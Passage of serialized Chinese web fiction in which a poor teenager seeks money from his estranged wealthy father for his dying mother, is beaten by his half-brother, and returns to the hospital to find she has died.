那次忙着整理好钢琴,好让买家来拉走,都没来得及拆开那里面的东西瞧瞧。钢琴自载轩出生就一直放在妈妈的卧房里,妈妈用漂亮典雅的丝巾做了琴罩,以防落灰,也总是把琴盖、琴身擦得一尘不染,可见那是妈妈很宝贝的物件,里面的东西也一定是妈妈放进去的,说不定会是救命的钱呢。 载轩决定第二天一早赶第一趟公交车回去拆开看看。 他从妈妈卧房地上一堆杂物中刨出那个牛皮纸裹着的、两指厚一本书大小的包裹来,只见牛皮纸外还用胶带缠了一圈,显然并不想让人动它。他也不管三七二十一了,妈妈都昏迷不醒了,眼前没有什么秘密不秘密的了。 再者,载轩心里也很好奇,这个里面会有钱吗?会藏着爸爸的讯息吗? 里面是本厚厚的日记,和几张照片。 今天的天气是夏日里常见的,上午红日当头,到了中午云彩开始有意无意遮住太阳,空气潮闷潮闷的,压抑得人透不过气来。但一般的阵雨,一会儿便见了日头。下午已经下了一点雨了,但太阳也只现了一时半刻又倏地隐匿在厚重的的层层乌云之中。是该好好下一场雨了,连日来的焦烤,大地已经干得冒烟了,路两旁的树木都耷拉着脑袋,无精打采,是要好好下一场雨了。 载轩乘公交到了市立小学斜对面的那条街上最繁华的商业区。坐了一个半小时的公交车,车上人很多,一度挤得载轩紧贴着老人、男人、女人、青年各色人中,呼吸着车里浑浊的空气,胸腔仿佛成了真空,难受的要命。 这条街林芳清没有带载轩来过。 市立小学是林芳清最初分配来的学校,她人很好,一度很受领导器重,六一活动、新年彩排、教职工文艺演出都让她和校大队部来主持。但她在工作了两年之后就辞职了。辞职后再也没有回来看过,也未曾来过这条街。 俨然,自从市政府等好多政府单位搬到荥水南岸后,这南岸已经发展为一个新区,原来这边除了自来水公司、几家小型电厂外,没有什么企业事业单位愿意搬到南岸这片不毛之地,以前要是夏季雨水长,上游的游天寺水库会开闸放水,一放水,南岸这儿的水就漫到坝子上面去了,放得急了连农田也会被淹掉。 可06年的时候来了一位洪市长,大力发展水利,极大地改善了荥水南岸被淹的局面。还请来专家从北岸到南岸建起了五座造型不一、气势雄伟的过河桥,五座桥修得快,两年就都通了车。老城区荥水北岸地块已经饱和,那两年又是房地产发展的大好时机,不少地产商发现其实荥水南岸地势也并不低,一直往东走有几座山抬高了地势,有山有水,风水极佳,便趁着地价便宜,建了好多新型高层住宅和商业楼。洪市长也说,自己的姓氏怕是和荥水犯冲,要坐镇南岸压一压。于是好多政府单位、企事业单位乘着风向都搬迁到了荥水南岸那边,加上过桥又方便,许多老城区人口也顺势买了新房子,好像住了荥水南岸那边就是占据了好地界、又好体面的样子。 林芳清原在的市立小学就位于自来水公司后面的一块空地上,她在时,去那里上学的大多是自来水公司职工的孩子,还有少数周边村子里的孩子。学校东面南面是一片片的地,到了小满就绿了起来,从三层教职工宿舍望出去,一眼的赏心悦目,倒是夏天蚊虫多,她刚刚去,不懂买蚊帐,被叮的一身包。 自来水公司的西面离得不远处是一家成程碳素厂,主要加工石墨电极,但厂子不大,加上老板员工不过二三十人。 而成程碳素厂现在成了成程能源集团有限责任公司,占据着这条光华街最大的一栋商业办公楼。 载轩是来找这家公司的董事长程建的。 但他望着这条繁华而人流如潮的大街时,心底里很是紧张和害怕。市立小学的校牌已经很古旧了,但却盖起了新的两栋教学楼,与周围相融在一起,再也不显得那么孤单和寂寞了。 他走到这座十一层高外墙嵌着玻璃砖的商业楼大厦,进入正门,看到电梯正对的指示牌上写着: “一楼 发荣美业/亮甲美甲美发/生生皮鞋皮具护理/橙小橙护肤品专卖 二楼 猫咖啡/红日网咖/上岛咖啡/蜜糖奶茶饮品/听雨阁茶室 三楼 菲尔手作工作室/多彩丽软陶手工坊/趣—绘本馆/又明书店 四楼 潜行科技发展有限公司 五楼 工作餐饮区 六楼至十一楼 成程能源集团有限公司” 旋转门门口站着的保安注意到了载轩踟蹰在指示牌前好久,走过来问:“小伙子,要去网吧吗?” 载轩心里有些打鼓,这么找上去怕是连门都进不去吧。他小心翼翼地问大叔:“这个成程能源公司的老总在吗?” 这一栋楼都是成程集团的,只不过是一到四楼承包给了个人商户去经营,而整栋楼的安保都是集团管理下的。 保安上下打量了打量载轩,饶有兴味地问他:“你找老总什么事啊?” 载轩与人家素未谋面,十几年来都没有见过,这样冒昧,自己心里是一点底都没有。 保安见他没有说话,又很有一番劝解意味地说:“是因为拆迁吧?前几天也有人来找程总和程副总,也是因为拆迁问题闹掰了头,想要多要些赔偿,结果呢,被警察带走喽。我劝你哦,我们公司都是依法办事的,不要想着投机取巧。” 刚好这时,保安大叔的对讲机有人讲话,是保安队长说的:“西角门今天有大客户上来,注意各岗位站位,不要放进闲杂人等。” 保安大叔回了一句收到,便不再理会载轩,站回了大门侧边。 载轩跟着其余人上了电梯,按电梯按钮的阿姨问他去几楼,他回六楼。瞬时阿姨回过头看了他好几眼,鄙夷地说道:“去六楼自己刷卡,我们按不了。” 他只好到四楼下来,准备走消防通道去六楼。没有人跟载轩同到四楼。出了电梯,正对着两扇两米高一米多宽的玻璃大门,侧面挂着铜制名牌“潜行科技发展有限公司”。透过玻璃门,他看见里面摆着十几张工位,却稀稀疏疏地坐了几个人趴在电脑前手指翻飞。电梯右手边有两扇铁门,载轩拧动把手推开门看,正是消防通道,谁知爬了两层楼上去,一开门却是一道防盗门,门口有指纹机和刷卡机。他不死心 7. 悲独 七 《千千杯酒不醉人》全本免费阅读 七 太阳又躲进了一片云彩里了,空气那么潮湿闷热,一会儿工夫,层层叠叠的乌云就堆积起来,像是要下一场大雨了。 门口的保安推了下载轩,“哎,不要坐在这里。” 林载轩站起身,隐约听到保安对讲机里说的话,“放行车牌6649,放行车牌6649。” 他快步寻找起停车场的入口和出口处。 在大厦北面找到了地面停车场的自动起落杆,但发现并没有车辆进出,停车场里停的车满满当当,且大多是一些普通客车、面包车和拉货用的小型卡车,还有两辆皮卡。载轩对车不甚了解,但杜明可是个汽车迷,他家今年刚刚添置了一辆桑塔纳,兴奋地每次爸爸开车出去他都要跟着。杜明对一些豪车讲来也头头是道,载轩知道,他虽不懂,可是停车场里的这些车应该不是豪车的样子。而程董事长大抵坐的车应该不差。 这时他发现不远处的面向街道一侧,缓缓驶出一辆黑色轿车。他紧跑几步过去,看着这辆车汇入车流中,而车牌号正是6649。他猜这应该是刚才见的客户的车,要是自家老总的车还需跟保安说放行吗?载轩到了刚才驶出车的地方,是地下车库的入口和出口,不仅有自动感应起落杆,紧挨着人行道还有两个钢化玻璃组的透明岗亭,里面站着像西角门里一样的挺胸拔腰的保安。 载轩就等在人行道上,他总要回家的吧,找到家里说这些,也更方便些。今天就是死等也要找到程建,至少得试一次才行。 果然等到六点多,一些稀稀拉拉的车辆开始驶出地下车库,每过一辆车,岗亭里的保安便敬一次礼。可究竟是哪辆呢?每一辆越过人行道,载轩都盯着车里的人看,他只看到过照片,究竟哪个男人是他,真是说不清。更何况车窗上大多都贴着黑膜,里面的轮廓,哪是一眼就分辨出来的呢?那些下班回家的车,一汇入主路就疾驰而去,只留下车尾冒出的一丛丛烟。 载轩发现了一辆车又低调看起来又很高级的样子,是辆黑色的奔驰轿车,他大致判断了下车里后座坐着的人约莫五十多岁,很有点领导的样子,记下车牌“豫AA0009”,马上伸手拦下一辆出租车,跟师傅说:“帮我跟上前面那辆0009的车。快一点,不要跟丢了。” 载轩的心急得恨不能亲上手去踩油门,他不知道判断得准不准,只是直觉告诉他,很像。那辆车同后座里还有一个男人,留着半长发,有一些卷起来,还有点F4组合里面的言承旭,蛮潇洒的男人,他们密切地交谈着什么。载轩想:要是不对,今天就回医院再去求求主治王大夫,再延缓一天交费;明天再来碰运气,眼下除了这一位能做他的观音大士也就没有别人了。 只见前面的奔驰车开得不紧不慢,出租车跟得不远不近,恰好中间隔着四五辆车的距离,从光华街右拐开到中山大道,向南足走了两公里,才左拐进入贤河路顺着走了有三四里地,到了一片别墅区。荥水南岸这边,平时他和妈妈都不怎么来,好多街道也都是载轩没有听到过的名称,路上见到好多已盖起的、施工中的、才起了地基的楼,而眼前的这片别墅区,可见也是新盖起来的富庶之地。 黑色奔驰车向前进入别墅区的匝道,通过自动起落杆消失在了一大丛绿荫荫的翠柏绿竹中,那里也有一个透明的玻璃岗亭,里面的保安看到黑色汽车进入也同样敬礼回示。出租车距离岗亭十多米的地方停下了,一路上中年发福的司机并没有与载轩多搭话,只是按照载轩说的,跟着前面这辆黑色奔驰车走。出租车停下前打表器刚刚跳了一个字,那位司机语气很平静地说:“小伙子,前面不让出租车进去,你自己进去吧。喏,23块。” 载轩左右看了看,掏出昨天剩下的五十元,找了零下车了。 这几天乘公交还用的学生卡,里面的钱也不多了,一下子花出去这么多,万一找错了,可是赔了夫人又折兵。 此刻雷声阵阵,天上的阴云快要低垂到地面上来,天色昏沉,眼前这片翠柏绿竹后边高低错落地排列着二十几栋别墅,好多楼里都亮起了暖黄的灯光。载轩心里很忐忑。不知道车进了哪栋别墅,也不知道究竟程建在不在这里住,更不知道见了面怎么开口呢,上来就告诉人家“我是你的野种”吗。但已经走到这一步了,怕也好,担心也好,就只能往前走了。 还没到自动起落杆前,岗亭里的保安就打开玻璃门走出来,“什么事?” “我找人。” “找人?找什么人?”保安逼问着。 “我······我找程建,成程能源公司的董事长。请问,他,他住在这儿吗?”载轩手搓着一角,眼睛不住地往里面探去。 “不好意思,我们不能透露业主信息。不是这里的业主不能进去,除非有业主亲自出来接你。”保安冷冷地拒绝道。 载轩知道就会这样。只好悻悻地顺着匝道出来,往主路上去。主路和匝道中间便是这一大丛翠柏绿竹,葱葱郁郁的。往来这条路上的车辆并不多,更何况快下雨了,已经有雨点砸了下来。载轩只好窝着身子避在路边一株茂盛的柏树下。 趁着雨,趁着也黑了的夜色,载轩拨开丛丛的枝叶,向内走去。哪知到了刚刚黑色汽车驶过的那条小路上,却有着一米多高的用竹子扎起的围栏,他只好手脚并用翻过去,把小腿划了寸把长的一道,疼得载轩嘶嘶地吸气。雨开始下大了,噼噼啪啪的雨珠滚落下来,载轩穿着单薄的半袖,在雨里开始一家一家地望过去,家家门窗紧闭,偶尔传出的屋里的谈话声、笑声,在密密的雨 8. 悲独 八 《千千杯酒不醉人》全本免费阅读 八 客厅里还没人开口说话。 载轩背后的这堵墙最右侧有两扇推拉门,不大一会儿,一位系着围裙、卷头发、笑得十分和蔼的阿姨推开一扇门,探出半个身子问:“程先生,饭好了,是凉凉再吃吗?” “去叫蓉蓉吃饭吧。”坐在载轩正对面的大靠背复古沙发正中央的老男人开了口,自载轩进门一直看着一份《荥州晚报》,表情严肃而专注,头都没有抬起来下。 那位年轻男子慵懒地起身走到北头的楼梯口,冲上面喊着:“大小姐,下来吃饭啦!”然后就走进推拉门里的餐厅去了。 “我就下来。”楼上立刻传来个姑娘的清脆声音。 一会儿,从楼梯上下来一个脚步轻盈欢快、十七八岁的女孩儿,头发披到双肩,下楼时俏皮的发丝来回拂动,戴着一副金丝大圆边框的眼镜,一身印满了小草莓图案的半袖短裤睡衣更显得女孩儿青春妩媚。她看到客厅的载轩,没有多说话,径直走进了推拉门里。 老男人便是程建,成程能源集团有限公司的董事长兼总经理,也是载轩的生父,那个载轩十多年都没有见过的父亲,是载轩以为落下去的星。 只是这颗星不是坠落,而是从来没有在载轩的世界里闪耀过,他现在更星光熠熠了,从小厂的老板到大公司的董事长,没有一点与载轩生活轨迹相交的地方。 程建放下报纸,缓步起身往餐厅去。而那位落地窗前的男子也走到茶几前放下左手握着的白瓷杯,跟着步入餐厅了。 载轩一个人留在客厅里,刚才的气氛凝重得空气都固结了一般,他被眼前这三个人的强大气场震慑住了。他们在这雍容华贵的房间里是那么从容和舒适,更显出载轩的格格不入和狼狈来,倒逼得载轩不知道如何开口了。但再这么呆下去也不是办法啊! 正在载轩不知道怎么办才好,刚才那位阿姨去客厅西侧的洗手间里拿来一块粉色的毛巾,边递给他边轻声问他:“湿透了吧?快擦擦。吃过饭了吗?进来也吃一点吧。” 阿姨的笑容让载轩好容易心里轻松一点了,他拿毛巾擦干头上脸上的水珠,便还给了阿姨,还有些胆怯地对阿姨说:“谢谢阿姨。我吃过了,我就这儿等程先生吧。” 阿姨很温和地对载轩说:“能找到这儿不容易呢,是因为拆迁的问题吧?” 原来,程建及其大儿子程一鸣最近正因为拆迁一块地皮而头疼,在荥州的城郊西北处他们勘探到了一处矿藏丰富的煤基,跟市政府签了合约,买下来周围约300亩地用于煤资源开发及建厂加工。可是原来的马堡子村村民可不愿意,这么大一块肥肉被别人叼了去,村长先是联合起村民闹事,阻拦工程队进驻,再就撒泼打滚无所不用其极了。好不容易,前一段时间他们动员了另外一家城建集团老总,他们一起合作给马堡子村做拆迁安置工作,进展很快。但总有那么几户刁民,仗着自己的地、自己的屋被占去,不是跑到市政府抗议,就是跑到他们公司办公楼闹。这不今天刚刚会见了一个专门处理这类纠纷的律师团队,为的就是解决这几户人家拆迁补偿事宜。 他们想到的是:呦,还真有不怕死的送上门来,找到家里来闹了。 载轩摇摇头,没有回答。他有些难为情开口自己的目的。 阿姨低下头也没说什么,拿出一双酒店用的一次性拖鞋来,要载轩换上。他穿的白色网面运动鞋进了水,里面滑唧唧的,很难受,而连日来的奔走,白色也脏污得看不出颜色了。 这双鞋是去年载轩和杜明他们代表初一368班参加校篮球赛时买的。载轩功课紧,没有什么时间同妈妈一起逛街,妈妈去商场买回来的,买的时候大一些,但载轩说很舒服,就留了下来。后来妈妈又去买了一双同款小号,妈妈说:“你喜欢就多买一双,脚丫子可不该受委屈。”载轩硬是不要,还要去退掉,可是确实很舒服,也拗不过妈妈,就都留下了。那双小号早就穿废了,鞋帮的网面都磨起了毛,后跟也开胶了,去年冬天,妈妈整理衣柜就扔掉了。这双鞋载轩一开始并不舍得穿,可眼看到了夏天,去年的都有些挤脚了,只好拿出这双跟371班打半决赛时只穿了一次的鞋。那次他们班没有得到名次,可是几个人却开心地很,面对其他班一米七几、一米八的大个子,气势上毫不气馁。 载轩脱下鞋子,里面的袜子也浸泡在泥水里面浸得泥灰泥灰的。穿上一次性拖鞋,阿姨引着他来到餐厅。阿姨往前推他一把,说:“找个地方坐下吧。” 他今天不是来吃饭的,是来要钱的,其实本质上跟那些拆迁刁民差不多。 他局促地站在推拉门内,离着餐桌还有一米多的距离,面前正对着坐在餐桌桌首的大红木椅上的程建。这间餐厅挺大,南向连接着厨房,一张长方形红木餐桌位于中央,上面铺着一块白底水粉花卉的桌布,两侧各有三把红木椅,桌首放着的这把更为宽大有扶手的椅子正坐着程建,他的左手边坐着大儿子,头发稍长稍卷的程一鸣,他现在是公司里的副总经理;下来便是那位俏皮活泼的女孩儿,对面坐着三儿子程一凡,还在念大学,这几天临近期末不想呆在学校,跑回来的。而程建的二儿子在国外留学。 阿姨给每个人添了一碗汤后,笑着说:“你们先吃着,我把洗完的衣服晾出来,我可不爱吃烫嘴的饭。”从推拉门里出去了。餐厅里的氛围又凝重起来,刚刚他没进来的时候还听到程建跟他的孩子们聊天,他这一进来,个个敛声息气,都在专注碗里的面和桌子上的青菜了。 载轩还是中午临走前煮的挂面。这么多天来他有一餐没一餐的日子,已经让他的胃忘记了什么时候是饿的,什么时候是不饿的,再加上妈妈的病情加重,他也没什么心思吃饭。刚开始的时候,胃里饿的时候还叽叽咕咕地响个不停,空的难受,后来慢慢的胃也不吵了,好像是懂得主人的苦恼似的。但载轩面对着这一家人有滋有味的吃饭场景时,还是感觉自己有些饥饿了,嘴里的口水开始丰盈起来。 载轩把思绪拉回到妈妈病重灰败的脸上,想起自己要做的事来。 “我妈妈林芳清得了尿毒症,现在在ICU病房里面,急需钱。”载轩认真想了想措辞,接下去说,“我想跟您借一些钱救急,可以给您打欠条,按银行的利息以后再还您。” 程建听完没有说话,继续夹了一筷子笋丝塞到嘴里去,很有节奏地咀嚼着。 程一鸣率先开口了:“你妈妈病了,和我们有什么关系?”说着微微抬起头盯着载轩,慢条斯理地拿起手边的白毛巾擦了擦嘴巴和手。 载轩这下子真不知道该怎么说了,回答“我也是你的孩子”吗,还是“我妈妈和你程建有关系”呢。两种回答貌似都不尽人意,可能这个秘密程建的家人都还不知道呢,程建本人不发话,真是在生生地难为载轩。 程建是知道的,但他不确定一年半以前林芳清留给他的讯息的真假。再者,林芳清都是多少年前的事情了,就算是有这么一个孩子,自己难道还缺少孩子吗?有的是人想给程建生孩子。更何况,她林芳清十多年不和自己来往,突然间跑到公司前台,留下纸条说“自己身患绝症,请他以后帮忙照顾独子”这种话。搞不好是她林芳清生活困顿,来吃回头草也不定。 程建还在兀自吃饭。 可程一鸣的火气是盖不住的了,他站起身,把椅子拉后,一米八多的身高在载轩面前已经有了气势上的碾压,如同豹子站在了惊慌不定的鹿仔面前。又一次,声音很重很硬地问他:“我问你,你妈生病,和我们有什么关系?” “因为我是······是······程建的孩子。”载轩从裤兜里摸出了那张林芳清和程建唯一的合照。照片上程建还比较年轻,意气风发的样子,笑得很灿烂,更为年轻青春的林芳清依偎在程建怀里,含颌微笑,男人的一只手轻揽女人的腰,另一只手与女人的手紧紧握在一起。如果让外人看去,还以为是一对甜蜜的情侣。 程一鸣一手抢过照片,扔在了桌上,吓得程一凡和女孩儿停下了筷子,只有程建仍面不改色地坐着,可也停止了再进食的动作。 程一鸣问:“怎么证明?随便一个人跑到家里来就说是程董事长的儿子,那我们家站着都放不下这么多人。就凭这张照片吗?” “我妈妈除了程建没有过别的男人,我就是他的儿子。” “谁知道你是哪个的野种!” 载轩有些愤怒地看向程一鸣,他怎么能侮辱妈妈呢?有些愤恨地又转向程建:“我妈妈什么样的人,你不知道的吗?我妈妈离开你之前就已经有了我,难道你不知道吗?” 程建仍不动声色地坐着,气得载轩声音都有些发抖:“好,你可以不帮她,那这十四年来你的抚养费给过一分吗?今天你一次性给我,我就走。” 程一鸣鼻子里“哼”一声,冷笑道:“你算什么东西?要抚养费!” 涨红了脸的载轩的确没有什么证据可以直接证明,自己就是程建的孩子,况且他也没有什么资格要求人家给钱,他只好低了头,口气也软下来:“程先生,我只想借到钱去救急。” “我们这里是红十字会吗?一会儿要钱,一会儿借钱,和我们有什么关系,要借钱给你!”程一鸣显然对眼前这个小子生了气。 程一凡和女孩儿交换了下眼神,匆匆起身离开餐厅跑上楼了。 程一鸣又靠近了载轩一步,用手扳起载轩的下巴,使得他不得不对视着这个先前他还以为很帅气的男人,此刻他怕,惶惶的眼神里躲不开男人的咄咄逼人。男人一字一顿地说:“和我们有关系吗!凭什么给你钱!” 载轩试图用手拨开男人结实的小臂,却被男人用右手“啪”地甩到左脸上一个耳光,突如其来的动作,使得载轩一个趔趄滑到了推拉门外。男人跟着出来,同时解下了西装裤上的皮带,往右手上缠了两圈后,左手拉住皮带的另一端,镫直了那条在水晶灯光下黑亮亮的一寸宽的皮带。载轩不敢再看男人,捂着左脸回过头乞 9. 悲独 九 《千千杯酒不醉人》全本免费阅读 九 “你是不是打得有些狠了?”穿着灰蓝色睡衣的程一凡下楼来,也坐在沙发上,看着刚刚动过怒还一脸冷峻的程一鸣问道。 地板上的水渍文阿姨才拖干净,又进了餐厅和厨房区收拾。 程一鸣还没有换衣服,穿着白衬衫黑西裤,翘着腿坐在长沙发的一侧,还带着愠气似的回答:“不一击而溃,等着他三番五次来寻麻烦吗?” 程一凡知道自己这位大哥的手段狠辣,之前有拆迁闹事的被他请进办公室,出来的时候瘸了一条腿,两只眼睛乌青发肿,周围的人看了都倒吸一口凉气。 过了一会儿,程一凡又问:“那个什么林芳清是妈和爸爸那会儿因为她吵得架吧?” “要不是那个狐媚女人,妈也不会被气出病来。” 程一凡又用食指往客厅西侧里的卧室指指,悄悄地问道:“该不会真是他的种吧?” “是不是你看不出来吗?”男人声色不改地回答。 这个虎爷们!程一凡心想,原本生怕被爸爸听见,这下倒好,反倒自己成了最八卦的那个了。他慌忙站起身用手表示“看你看你”的神色跑上楼去了。楼上也就传来了那兄妹俩唧唧喳喳地谈话声。 程一鸣还坐在沙发上,刚刚确实下手挺重的。连日来,各种公司里的不顺心,今天一股脑儿发泄在了那个孩子身上。不过也知道他没什么指靠的,就算今天整治了他,也不会有什么大麻烦。倒看那个孩子说的,应该也是真的,病重的母亲,形单影只的自己,往后的日子可够受的了。 程一鸣回想起父亲刚才的表现,也就大概明白了,父亲对这个孩子的出现根本不意外,说明他不仅心中有数,压根也不打算认他。所以才示意他好好教训一番,好击退他再来的勇气,甚至在这个孩子挨打惨叫的时候都毫不怜悯。 父亲呵,还真是个狠心的人呢。 不过他想起小时候的自己也不是这样吗?打记事起,爸爸就是个很暴戾的人,一开始爸爸在煤矿下井,回到家满脸黢黑,他捂着嘴笑,结果被爸爸质问:“小子笑什么?你爸这么不要命地挣钱,你还笑!”一巴掌便呼上来,吓得他往妈妈背后躲,结果妈妈被揪住膀子狠揍一顿。后来妈妈偷了人,被爸爸当场捉住揍个半死。妈妈跟人远走,五六岁的自己就跟着爸爸来了荥州,娶了煤矿老板的小女儿成美兰。那时候,继母的前夫因为煤矿出了事故被公安局抓走坐牢,爸爸的岳父看到我爸肯卖力、有脑筋,就撮合我爸和成美兰在一起了。在岳父的帮衬下,父亲和继母的日子越过越好,自己却越来越苦。继母嘴甜心毒,表面上不会对他怎么样,暗地里却没有一点好脸色。每次父亲回了家,抱怨起来,他都会被爸爸狠打一顿。后来有了弟弟们,继母好吃的好玩的都是先给他们,要是弟弟们犯了错,也会都推到他身上。继母生下小妹妹蓉蓉,蓉蓉更成了父亲的掌上明珠、全家宠爱的对象,他这个大哥若有若无似的。熬了这么多年,也养成了他无法与人建立亲密关系的性格,三十多岁了,不找对象也不愿意结婚。 他对父亲也是又爱又怕。记得刚到荥州,父亲谎称去小卖部买面包给他吃,结果是想把他这个拖油瓶甩掉,他发觉了后一路小跑追爸爸。那时人贩子多,跑着跑着,有个有力的肩膀抱起他扛在肩上就走,他又踢又哭,眼看着爸爸离自己越来越远。哪知父亲发现人贩子要拐走他,飞奔过来一脚踹飞人贩子,连带着肩上的他也摔在地上,头上流了好多血。后来他只记得,父亲在医院里紧紧地抱着他,温热的身体紧紧贴着他的面颊,让他安心地睡去了。成美兰和父亲结婚前说,非得要把他送走才行。父亲在这个连哭带闹的女人面前,一副无所谓的样子:“你爸要你跟我结婚,你完全可以拒绝嘛!一鸣是我的仔,我走到哪里他就在哪里。我是不愁没有女人的。” 爸爸是有点男人的魅力在身上的,方额圆脸,一双桃花眼却有着两道粗黑的飞眉压着,英俊中又有着那么一股霸道。宽阔的胸膛,两块胸肌铁板一样硬。即使是面对跋扈的成美兰及其当煤矿老板的父亲,也没有过软弱低头的样子,依旧一副“行就行,不行拉倒”的架势。也怪不得成美兰能看上父亲一个煤矿工人,说是成大事 10. 悲独 十 《千千杯酒不醉人》全本免费阅读 十 载轩趴在汇成一条条小溪流的小路上,撑了好久才爬起来。看到程家的灯还是那么亮、那么暖地照着,大落地窗的玻璃上的水流映得窗内灯光模模糊糊的黄融融的一片。 他一张一张捡起黏在地上、身上的钱,一顿毒打换来的钱。爬起身顺着竹栅栏往外走去。 雨下得小了些,细细密密的雨点落到头上、身上,载轩感到一阵巨大的委屈憋在胸腔里,仿佛要撑破了,令他难过的心痛。他开始边走边哭起来。有车辆从自动起落杆那里驶来,晃眼的车灯让载轩不得不往边上躲,车辆溅起的水花还是溅到了他的身上。人是不是在倒霉的时候连老天都不会帮他的? 在程家的一幕幕彻底击碎了载轩心底里对父亲的那点幻想。 天越走越黑,到了大路上,已经没什么车了。这边常住人口少,很多路灯到了十来点就息了。他努力依据下午来时的路辨别着方向,只是身上又冷又饿,挨过的打好像在雨水的浇淋下没有那么痛了,变得麻木了。他趿着这双被撵出来还套在脚上的一次性拖鞋,抱着胸腔里那无法化解的令他心口痛的委屈,在又黑又泥泞的回医院的路上一步一挪地走着。 刚开始他还边哭着边走着,后来两条腿酸疲地抬都抬不起来,就走走弯下腰来歇一歇,连哭的力气也没有。这已经是荥水南岸很靠东南的地方,路上现在连活物都见不到了,头一开始还听得见一两声稀疏的狗叫声,现在四周静悄悄的,除了自己的心跳声、呼吸声和若有若无的雨滴落在地上小水坑里的滴答声。越是静得可怕,他越是还看到远处一些没有开发的地里有几个隐隐约约的坟包,他的心突突的,只想快点离开这里。可是走了半天,感觉自己在这里打圈圈似的,路还是那么远那么长,连一个岔口都看不到。 他现在特别希望看到有辆车出现,哪怕求求人家把他带出这片不认识的地区,他愿意给人家五十块,或者一百块。 可是夜已经很深了。 从家里出来时,他换了干净的衣服,妈妈的手机还落在那条昨天穿的裤子里。要是有手机也好,可以打电话来求救。 但电话打给谁呢?打给谭阿姨吗,杜明没有电话,每次联系杜明要不是提前约好的,要不就是打谭阿姨电话,估计人家已经入睡了,怎么帮他呢?打给何老师吗,虽说何老师在班里和他最要好,他既是数学课代表,是何老师的左膀右臂,又是副班长,帮助何老师监督卫生值日,但妈妈生病以来,何老师已经帮他许多。那样一个妻管严竟偷拿出工资的一半来给载轩。自己怎么好意思深更半夜去说“来救救我”吧?报警吗,警察会信他的话吗,身上的伤怎么解释呢,为什么来这个地方呢,兜里的五百块可能会让警察以为他是失足少年的机会多一些吧? 真是到了“叫天天不灵,叫地地不应”的地步!他只想快点回去,见见妈妈。 拖着十分疲乏的身躯,大概走到中山大道上时,有辆大卡车见到他一个人孤零零走在黑黑的夜里,先是往前走了一段,后来停下来,等着他慢慢蹭上来。看到他快走近时,从驾驶座上下来一个挺着啤酒肚的中年男人。中年男人打开手电晃了晃他,他已经在这样黑的路上走了几个小时,眼睛一下子受到这样的亮光刺激,用手臂赶紧挡了起来,也吓得不敢往前走了。 “哎!你去哪儿?” 当真的出现一辆车时,他又害怕了,害怕是坏人出现,害怕自己的境遇被人发现,都不敢答话了。 中年男人看他不言语,还以为遇到了不干净的东西,深更半夜的也不敢久留,爬上驾驶座踩着油门走了。 他错失了一个搭载的机会,心中也着实很懊恼,只好再一个人踽踽独行。他在心里告诉自己,如果有车再出现,不管什么人,也求人家搭自己一段。 就这么走走停停,雨完全不下了,周围 11. 悲独 十一 《千千杯酒不醉人》全本免费阅读 十一 静静的夜晚,空气里都是下过雨之后湿润的清新和凉爽。这场大雨洗去了连日来的热气,住院部的消防通道里只有零星几个出来抽烟的男人。他已经连着三天没有见到母亲了,每次来他都错过了下午四点到四点半的探视时间。今天,他分外地想念母亲,急切地想要看到妈妈的脸。 载轩踏着疲软的步子回到ICU病房前的休息区,七八个家属一人占据一个长椅,盖着衣服或毯子睡着。他看到自己的东西被杂乱地堆放在靠近暖气片的地上,旁边的长椅上睡了一个沧桑瘦小的中年女人,载轩那两天见过她,她的男人因为车祸躺在里面,而她前两天还在打电话用一口地道的河南话跟家人争吵,因为大夫告诉她,即使救活她的男人也会大概率成为植物人。 在医院这个地方,生与死从来都不是一个人能定下来的。有的人想活,老天却不许,家人拿了好多钱来,命还是一样被掠走;有的人明明可以活,家人却因为没有钱,不要救他;有的人在垂死之际挣扎、受尽折磨,家人想尽办法要他再多呼吸几日······太多了,太多的悲剧在这里上演,载轩看了听了这许多,心渐渐地开始不痛不痒起来。可真到了他也成为这悲剧中的一个主角,人命的选择题还真是无从考量。 他悄悄走过去,准备拿出小被来暖暖身子。那个女人却一下子坐起来,拉住他的手腕问他:“你是那个林芳清的儿子吧?一晚上大夫护士找你找疯了呀。” 载轩一听这话,不好的预感一下子炸开来,想到了什么。 女人看到他蓬头垢面、浑身水啦啦的样子,叹了口气,有点怜惜地给他指了指ICU一旁通道尽头的医生办公室,“快去吧!” 载轩想要快步走过去,奈何两条腿灌了铅一样沉重,十多米长的一段路仿佛黑夜里绕圈似的,半天才踉踉跄跄地走到门口。一手扶着墙一手急切地拧动门把手,一个值班医生打开门看到他,很为难地回过头去看另一位年老一点的医生,那位老医生也站起身走过来,“你妈妈下午六点情况开始危急起来,高压降到了40,低压几乎为0,我们做了抢救······”老医生把左手放在载轩的肩上轻拍了两下,“听从王文景主任的安排,没有插管。我们尽力了。”说完最后一句,老医生走回了办公桌前,拿起一份文件,“你进来签一下字吧!” 载轩好像没有听懂医生的话,却转过身想要往回走,身子一软就瘫下去了。 值班医生看到他晕倒在地,赶紧喊来护士,把他往急救床上抬,推着他奔向急救室。 再醒过来的时候,已是第二天的下午五点多,载轩睁开眼看到天花板白花花的,床单、被子也是白花花的,看得他头晕目眩。同病房的还有两床,家属和病人小声地聊着天。他床位旁吊着的输液杆上挂了好几袋透明液体,那些液体顺着透明的输液管一滴一滴地流到他的右手手背的针眼里去,他看了好一阵,才好像明白了什么似的,慢慢坐起身。自己也穿上了白灰蓝条纹的病号服,只是这衣服太过宽大,他细长的手臂在里面晃荡荡的。他空洞的双眼里,看不出此刻的心情,脸色倒是恢复之前的黄白色了,两颊瘦削,下巴尖尖的。他下了床,光着脚,往门口走去,忽的发现手背上连接的输液器,另一只手用力一扯,连带着白色的胶带也被扯掉了,那血珠就一颗一颗地冒出来,顺着手背滴落到地上,形成一个个红色的圆点。那两床的家属看到他突兀的举动,忙过来拉住他,“你干什么去?要上厕所吗?”见到他不为所动,还在光脚向门外走去,就慌忙叫:“护士!护士!13床拔掉输液管啦!”一个年轻的带着护士帽和粉色边框眼镜的护士听到呼喊,快步走了过来。他的周围围了几个人,见他那不言不语、木木地向前走,好像魔怔了的样子,既不敢去拉,也不敢去扶。护士过来,看到他的手还在滴血,拿出护士服兜里的胶带准备给他止血。可他像眼里什么都看不到听不到似的,一个劲儿地往前走着。尽管他往前迈步,但昨晚承受了那样的一个夜晚,使得他的步伐慢而无力。护士拽住他,用另一只手在他眼前晃了晃:“13床,你干什么去?13床,你先站住,你手还在流血呢。”他不管也不理,还准备往前迈步,发现被拽住了,就用手去拨。另一个护士也过来了,好不容易配合着年轻护士给他的右手贴上了止血胶带,要把他带回病房去,他却开始挣扎起来。他不说话,也不吭声,只是不断躲闪、拨开护士的手臂,护士们也不敢硬拗着他,赶紧喊着自